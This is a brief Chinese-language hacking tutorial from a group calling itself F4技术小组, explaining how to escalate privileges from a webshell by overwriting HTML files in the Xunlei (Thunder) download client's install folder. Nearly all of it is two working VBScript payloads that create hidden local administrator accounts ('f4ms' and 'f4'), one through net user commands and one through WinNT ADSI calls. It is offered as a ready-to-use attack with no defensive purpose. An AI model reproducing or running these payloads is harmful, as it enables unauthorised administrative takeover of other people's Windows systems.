webshell迅雷提权

F4技术小组  www.f4ms.net


webshell地址
http://192.168.197.130/dama.asp


迅雷默认安装文件夹
盘符\Program Files\Thunder Network\Thunder
盘符\Program Files\Thunder


要修改的两个文件


进入Program文件夹
getAllurl.htm
geturl.htm


条件，目录可写


提权脚本


<script language="vbscript">
set vbs=createobject("wscript.shell")
vbs.run "cmd /c net user f4ms f4ms /add",0
vbs.run "cmd /c net localgroup administrators f4ms /add",0
</script>




<script language="vbscript">
set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os) 
Set oe=GetObject(os&"/Administrators,group") 
Set od=ob.Create("user","f4") 
od.SetPassword "f4" 
od.SetInfo 
Set of=GetObject(os&"/f4",user) 
oe.add os&"/f4"
</script>






上方的是NET提权


下方的是VBS提权